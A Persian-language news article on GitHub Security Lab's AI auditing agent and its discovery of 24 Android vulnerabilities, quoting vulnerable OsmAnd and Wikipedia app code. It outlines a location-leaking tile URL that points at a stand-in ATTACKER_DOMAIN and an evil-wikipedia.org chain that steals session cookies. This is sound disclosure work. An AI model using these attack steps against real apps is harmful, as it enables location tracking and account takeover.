عامل هوش مصنوعی گیت‌هاب ۲۴ آسیب‌پذیری بحرانی در اپلیکیشن‌های اندروید یافت

اگر یک توسعه‌دهنده اندروید هستید، احتمالاً می‌دانید که یافتن باگ‌های منطقی پیچیده در کدها چقدر زمان‌بر است. حالا یک عامل هوشمند می‌تواند این فرآیند را از ساعت‌ها جست‌وجوی دستی به چند ساعت تحلیل خودکار تبدیل کند.

به نقل از GitHub Security Lab، یک سامانه حسابرسی جدید مبتنی بر هوش مصنوعی توانسته است ۲۴ آسیب‌پذیری در سیستم‌عامل اندروید را شناسایی کند. این تیم ابزار seclab-taskflow-agent را به صورت متن‌باز منتشر کرد. این ابزار طراحی شده است تا به پژوهشگران کمک کند پرامپت‌های پیچیده و چندمرحله‌ای را که برای یافتن باگ‌های عمیق منطقی لازم است و مدل‌های زبانی بزرگ (LLM) معمولاً در اجرای آن‌ها شکست می‌خورند، خودکارسازی کنند. این ابزار به پژوهشگران امنیتی اجازه می‌دهد تا پرامپت‌ها و جریان‌های کاری هوش مصنوعی را که در کار خود مؤثرتر بوده‌اند، به‌راحتی خودکار کرده، بسته‌بندی و به اشتراک بگذارند.

حسابرسی امنیتی به‌طور سنتی فرآیندی دستی و طاقت‌فرسا است. مدل زبانی بزرگ (LLM) — مثل کتابخانه‌داری که میلیارد‌ها صفحه را خوانده و حالا با همان لحن کتاب‌ها جواب می‌دهد — اگرچه می‌تواند کد را بخواند، اما اغلب در درک «تصویر کلی» از سطح حمله یک اپلیکیشن ناتوان است. همان‌طور که در تحلیل‌های قبلی ما درباره امنیت مدل‌های بازمتن اشاره کردیم، مدل‌ها بدون راهنمایی ساختاریافته، جزئیات حیاتی را نادیده می‌گیرند. با بسته‌بندی پرامپت‌ها در «جریان‌های کاری» (Taskflows)، پژوهشگران اکنون می‌توانند هوش مصنوعی را در گام‌های کوچک و افزایشی هدایت کنند: ابتدا نقشه‌برداری از نقاط ورود، سپس طبقه‌بندی ریسک‌ها و در نهایت تلاش برای بهره‌برداری. این رویکرد گام‌به‌گام به LLM کمک می‌کند تا آسیب‌پذیری‌های پیچیده را سریع‌تر بیابد یا مواردی را شناسایی کند که در حالت عادی کاملاً نادیده می‌گرفت.

اجرای جریان‌های کاری

برای پژوهشگرانی که می‌خواهند این ابزار را روی پروژه‌های خود اجرا کنند، جریان‌های کاری به صورت متن‌باز در مخزن seclab-taskflows در دسترس است. با این حال، طبق مستندات این پروژه، اجرای آن هزینه‌ها و پیش‌نیازهای فنی خاصی دارد:

• مجوز: داشتن لایسنس GitHub Copilot الزامی است.
• مدل: پرامپت‌ها از درخواست‌های مدل‌های پریمیوم (Premium) استفاده می‌کنند.
• منابع: اجرای این جریان‌ها می‌تواند منجر به تعداد زیادی فراخوانی ابزار (Tool Calls) شود که به‌راحتی حجم زیادی از توکن (Token) — تکه‌های کوچکی از متن، شبیه برش‌های یک کیک طولانی که مدل تکه‌تکه می‌خورد — مصرف می‌کند.

برای اجرای حسابرسی، کاربر ابتدا یک Codespace را راه‌اندازی کرده و چند دقیقه برای مقداردهی اولیه منتظر می‌ماند. سپس دستور ./scripts/audit/run_mobile.sh myorg/myrepo را در ترمینال اجرا می‌کند. برای یک مخزن با اندازه متوسط، این فرآیند معمولاً یک تا دو ساعت زمان می‌برد تا به پایان برسد. نتایج نهایتاً در یک نمایشگر SQLite ارائه می‌شود؛ در اینجا پژوهشگران می‌توانند جدول audit_results را باز کرده و ردیف‌هایی را که در ستون has_vulnerability علامت تیک دارند، فیلتر کنند.

سازوکار: جریان‌های کاری هدفمند

تیم گیت‌هاب برای یافتن این باگ‌ها از پرامپت‌های عمومی فاصله گرفت و یک سیستم هدایت دو مرحله‌ای پیاده کرد تا تمرکز هوش مصنوعی را بر کلاس‌های آسیب‌پذیری خاص اندروید معطوف کند. این امر ضروری بود زیرا اپلیکیشن‌های اندروید کلاس‌های آسیب‌پذیری منحصر‌به‌فردی دارند که برای شناسایی مؤثر، به راهنمایی‌های خاص نیاز دارند.

• نقشه‌برداری نقاط ورود: ابتدا از جریان کاری gather_mobile_entry_point_info.yaml استفاده می‌شود. نقاط ورود به عنوان مکان‌هایی در کد تعریف می‌شوند که داده‌های تحت کنترل مهاجم می‌توانند از طریق آن‌ها جریان یابند. این جریان کاری، نقاط ورود موبایل را از نقاط غیرموبایل (مانند سرورهای وب یا برنامه‌های دسکتاپ) جدا می‌کند تا اطمینان حاصل شود که هوش مصنوعی حتی در مخزن‌هایی که شامل چندین نوع اپلیکیشن هستند، سطح حمله صحیح را درک می‌کند.
• طبقه‌بندی آسیب‌پذیری: جریان کاری classify_application_local.yaml مدل را مجبور می‌کند تا کلاس‌های خاص و کمتر رایج آسیب‌پذیری‌های موبایل را بررسی کند. از آنجایی که LLMها غیرقطعی (Non-deterministic) هستند، تیم لیستی از کلاس‌های محبوب آسیب‌پذیری را مشخص کرده است تا اطمینان حاصل شود بررسی‌های ضروری نادیده گرفته نمی‌شوند. برای مثال، اگر در مرحله قبل یک نقطه ورود مبتنی بر Intent شناسایی شده باشد، هوش مصنوعی صراحتاً هدایت می‌شود تا الگوهای «نایب confused» (Confused Deputy) یا «پخش غیرامن» (Insecure Broadcast) را بررسی کند.

با ترکیب این پرامپت‌ها در چندین نوبت اجرا، تیم به یک تعادل دست یافت: پرامپت‌های سخت‌گیرانه و اجراهای مکرر تضمین می‌کنند که آسیب‌پذیری‌های بدیهی از دست نروند، در حالی که پرامپت‌های گسترده به هوش مصنوعی اجازه می‌دهد تا خلاقیت خود را به طور کامل به کار بگیرد. این روش به LLM کمک می‌کند تا دید کلی نسبت به مدل تهدید حفظ کرده و ارتباط بین اجزای مختلف را بیابد.

مورد اول: نشت موقعیت در OsmAnd

یکی از بحرانی‌ترین یافته‌ها مربوط به OsmAnd بود؛ یک اپلیکیشن ناوبری شخص ثالث محبوب که از Open-Street-Map به عنوان منبع اصلی داده‌های خود استفاده می‌کند. این برنامه در هر دو فروشگاه App Store و Play Store موجود است و نسخه اندروید آن بیش از ۱۰ میلیون دانلود دارد. عامل هوش مصنوعی حفره‌ای را در مؤلفه MapActivity شناسایی کرد.

یک Activity در اندروید، در واقع یک صفحه نمایش متمرکز است که رابط کاربری (UI) را برای کاربر فراهم می‌کند. MapActivity وظیفه باز کردن فایل‌های تنظیمات و deeplinkها را بر عهده دارد و «صادر شده» (Exported) است، به این معنی که می‌تواند توسط مؤلفه‌های خارج از اپلیکیشن خودش فراخوانی شود. آسیب‌پذیری زمانی رخ می‌دهد که برنامه اجازه می‌دهد «extras اینتنت» (جفت‌های کلید-مقدار از داده‌ها که به یک اینتنت متصل می‌شوند) هنگام باز کردن فایل‌های تنظیمات ارسال شوند. این extras شامل مواردی چون settings_version ،silent_import ،replace و export_type_list_key هستند.

MapActivity انتظار دارد این extras از یک سرویس AIDL بیایند و باید از یک کانال درون-فرآیندی (In-process) استفاده می‌کرد. اما چون اندروید هیچ مکانیزمی برای محدود کردن extras که یک فراخوان خارجی می‌تواند تنظیم کند ارائه نمی‌دهد، هر اپلیکیشنی می‌تواند یک اینتنت با extras دلخواه به این Activity صادر شده ارسال کند. برنامه از تابع handleOsmAndSettingsImport برای پردازش این موارد استفاده می‌کند:

private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) {
    fileName = fileName.replace(ZIP_EXT, "");
    if (extras != null && CollectionUtils.containsAny(extras.keySet(), SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) {
        int version = extras.getInt(SETTINGS_VERSION_KEY, -1);
        String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY);
        boolean replace = extras.getBoolean(REPLACE_KEY); // ← attacker-controlled
        boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY); // ← attacker-controlled
        ArrayList<String> exportTypeKeys = extras.getStringArrayList(EXPORT_TYPE_LIST_KEY); // ← attacker-controlled
        List<ExportType> exportTypes = null;
        if (exportTypeKeys != null) {
            exportTypes = ExportType.valuesOf(exportTypeKeys);
        }
        handleOsmAndSettingsImport(intentUri, fileName, exportTypes, replace, silentImport, latestChanges, version);
    } else {
        handleOsmAndSettingsImport(intentUri, fileName, null, false, false, null, -1); // safe defaults
    }
}

مهاجم با کنترل پرچم‌های silentImport (وارد کردن بدون اعلان)، replace (جایگزینی تنظیمات به جای افزودن) و SettingsTypes (وارد کردن بدون تایید کاربر)، می‌تواند کاشی‌های نقشه (Map Tiles) را بازنویسی کند. OsmAnd قالب URL کاشی‌ها را به صورت MessageFormat.format(urlTemplate, zoom + "", x + "", y + "") فرمت می‌کند. یک مهاجم می‌تواند فایل‌های پیش‌فرض کاشی را با URL-ی مانند f"{ATTACKER_DOMAIN}/tiles/{{0}}/{{1}}/{{2}}.png" جایگزین کند.

این امر به مهاجم اجازه می‌دهد تا مختصات دقیق x و y هر کاشی که کاربر بارگذاری می‌کند را استخراج کند. برای مثال، یک لاگ ممکن است نشان دهد z=15 x=9649 y=12320 که به مختصات 40.70979, -73.98743 اشاره دارد. این قابلیت به هر اپلیکیشنی، حتی بدون داشتن هیچ مجوزی، اجازه می‌دهد تا داده‌های موقعیت خصوصی و مبدأ/مقصد مسیرها (مثلاً از -122.084,37.4219983 به -122.32450103759766,37.99944305419922) را بدون اینکه کاربر متوجه تغییری شود، ردیابی کند.

مورد دوم: تصاحب حساب کاربری ویکی‌پدیا

عامل هوش مصنوعی همچنین یک باگ منطقی در تجزیه‌کننده نام میزبان (Hostname Parser) اپلیکیشن اندروید Wikipedia یافت. برای مرور صفحات، برنامه یک قلاب (Hook) برای deeplinkهای wikipedia:// ثبت می‌کند (مثلاً wikipedia://wikipedia.org/wiki/PoC). با این حال، نقصی در تابع handleIntent اجازه می‌دهد URLهای غیر ویکی‌پدیا نیز بارگذاری شوند:

private fun handleIntent(intent: Intent) {
    if (Intent.ACTION_VIEW == intent.action && intent.data != null) {
        intent.data?.let {
            if (it.authority.orEmpty().endsWith(WikiSite.BASE_DOMAIN)) {
                val uri = Uri.parse(it.toString().replace("wikipedia://", WikiSite.DEFAULT_SCHEME + "://"))
                startActivity(Intent(this, PageActivity::class.java)
                    .setAction(Intent.ACTION_VIEW)
                    .setData(uri))
            }
        }
    }
}

به دلیل اینکه کد فقط بررسی می‌کند آیا authority با دامنه اصلی «پایان می‌یابد» (endsWith)، مهاجمی می‌تواند از دامنه‌ای مانند evil-wikipedia.org استفاده کند. این کار به مهاجم اجازه می‌دهد کاربران را به یک صفحه مخرب هدایت کند در حالی که آن‌ها تصور می‌کنند در ویکی‌پدیا هستند. علاوه بر این، مهاجم می‌تواند جاوااسکریپت دلخواه را در WebView برنامه اجرا کند؛ یک ابزار خطرناک که ورودی به محیط‌هایی را فراهم می‌کند که معمولاً امن تلقی می‌شوند.

این الگو دو بار ظاهر شد. قطعه کد دوم در SharedPreferenceCookieManager.kt:101 نیز از domain.endsWith(domainSpec) استفاده می‌کرد تا تعیین کند آیا یک صفحه باید حاوی کوکی‌های wikipedia.org باشد یا خیر. با زنجیر کردن این دو مشکل، پژوهشگران به تصاحب کامل حساب کاربری دست یافتند:

1. قربانی روی یک deeplink در یک صفحه وب مخرب کلیک می‌کند.
2. اپلیکیشن ویکی‌پدیا باز شده و evil-wikipedia.org را بارگذاری می‌کند.
3. برنامه به‌طور خودکار کوکی‌های نشست (Session Cookies) طولانی‌مدت کاربر را به مهاجم ارسال می‌کند.

این اتفاق به مهاجم دسترسی به نام کاربری و توکن‌های نشست قربانی را می‌دهد که در تمام پروژه‌های Wikimedia از جمله Commons، Wikidata و Meta معتبر هستند.

نقاط کور هوش مصنوعی

با وجود این موفقیت‌ها، تیم گیت‌هاب اشاره کرد که LLMها هنوز در تخمین شدت (Severity) آسیب‌پذیری‌ها مشکل دارند. هوش مصنوعی مکرراً باگ‌های کم‌اهمیتی را گزارش کرد که برای فعال شدن در دنیای واقعی، به وضعیت‌هایی تقریباً غیرممکن نیاز داشتند. بسیاری از یافته‌ها آسیب‌پذیری‌های با شدت پایین بودند، حتی زمانی که صراحتاً به هوش مصنوعی گفته شده بود آن‌ها را گزارش نکند. به همین دلیل، تیم تأکید می‌کند که هر یافته باید توسط یک پژوهشگر امنیتی با دانش تخصصی در اپلیکیشن‌های موبایل بررسی شود.

یک مشکل تکرار شونده، ناتوانی هوش مصنوعی در تشخیص «عوامل تعدیل‌کننده» (Mitigating Factors) بود. برای مثال، یک باگ پیمایش مسیر (Path Traversal) بسیار کمتر خطرناک است اگر مسیر فایل به حافظه خارجی محدود شده باشد. بدون پرامپت صریح برای «ساخت یک اثبات مفهوم» (Proof of Concept)، مدل اغلب ریسک را بیش از حد تخمین می‌زد. ساخت PoCها نیازمند اجراهای متعدد است که زمان و منابع مدل را برای آسیب‌پذیری‌هایی که ممکن است تأثیر ضعیفی داشته باشند، مصرف می‌کند.

علاوه بر این، هوش مصنوعی گاهی فرض می‌کرد که نوشتن در حافظه خارجی باعث بازنویسی داده‌های داخلی اپلیکیشن می‌شود. در واقعیت، اگر برنامه‌ای از هر دو استفاده کند، اغلب به داده‌های حافظه داخلی اولویت داده می‌شود. اگر حافظه داخلی داده‌های تحت کنترل مهاجم در حافظه خارجی را بازنویسی کند، اصلاً هیچ آسیب‌پذیری وجود ندارد. این رفتارهای پیچیده منجر به مثبت‌های کاذب (False Positives) می‌شود که تیم معتقد است با رشد پنجره‌های زمینه (Context Windows) و بهبود استدلال، کاهش خواهند یافت. در حال حاضر، تنها راه حل‌ها، ارائه یک دیباگر به LLM برای اجرای PoC و کد اصلی، یا درخواست از یک پژوهشگر انسانی برای هدایت مدل به دنبال این عوامل تعدیل‌کننده است.

دانش API و چشم‌انداز آینده

نکته شگفت‌انگیز این بود که پژوهشگران دریافتند LLMها دانش عمیق و ذاتی از APIهای مرتبط با امنیت در زبان‌های مختلف دارند، حتی بدون دسترسی به سورس‌کد زبان. آن‌ها الگوهای ناامن را به‌درستی شناسایی کردند؛ مثلاً این واقعیت که استفاده از path.Clean در زبان Go بسیار کمتر از filepath.Clean امن است (که علت رایج آسیب‌پذیری‌ها در نسخه‌های ویندوزی محصولات محبوب است).

بیشتر PoCهای تولید شده توسط هوش مصنوعی به تغییرات دستی بسیار کمی نیاز داشتند که نشان‌دهنده دانش عمیق از اکسپلویت‌های امنیتی قبلی است. در مجموع ۲۴ آسیب‌پذیری اندروید یافت شد که از پیمایش‌های ساده مسیر تا مسائل بحرانی مانند اسکریپتینگ متقاطع در WebViewها یا پل‌های جاوااسکریپت (JavaScript Bridges) افشا شده را شامل می‌شد. آن‌ها اشاره کردند که چون امنیت اپلیکیشن‌های اندروید به‌طور کلی قوی است، آسیب‌پذیری‌های یافت شده دقیقاً در جاهایی بودند که یک پژوهشگر انتظار داشت آن‌ها را بیابد.

این تغییر نشان می‌دهد که حسابرسی با کمک هوش مصنوعی در حال تبدیل شدن به یک استاندارد viable برای ایمن‌سازی پروژه‌های متن‌باز است. تیم معتقد است این قدرت می‌تواند به اپلیکیشن‌های وب، موبایل و دسکتاپ گسترش یابد. با ترکیب پرامپت‌های سخت‌گیرانه و مکرر برای شکار باگ‌های بدیهی و پرامپت‌های گسترده و خلاقانه برای نقص‌های منطقی، پژوهشگران می‌توانند طیف وسیع‌تری از مدل تهدید را نسبت به گذشته پوشش دهند. ابزار seclab-taskflow-agent برای کسانی که پرامپت‌ها، ابزارها و سازوکارهای منحصر‌به‌فردی برای یافتن آسیب‌پذیری‌ها با هوش مصنوعی پیدا می‌کنند، پذیرای مشارکت است.

گام بعدی شما

• اگر پروژه متن‌باز اندروید دارید، مخزن seclab-taskflows را بررسی کنید تا متوجه شوید چه نقاط ورودی در کدتان ریسک‌پذیر است.
• برای کاهش مثبت‌های کاذب، پرامپت‌های خود را به گونه‌ای تنظیم کنید که مدل را مجبور به ساخت یک Proof of Concept (PoC) واقعی کند.

اما داستان سخت‌افزاری این تحول حتی شگفت‌انگیزتر است — به تحلیل ما درباره تراشه‌های Blackwell و تأثیر آن‌ها بر سرعت استنتاج مدل‌های امنیتی مراجعه کنید. در همین راستا، بررسی کاربرد هوش مصنوعی محلی در شناسایی حملات مهندسی اجتماعی نشان می‌دهد که چگونه مدل‌های بهینه‌شده می‌توانند در لایه‌های مختلف امنیتی، از کدنویسی تا شناسایی فیشینگ، مؤثر واقع شوند.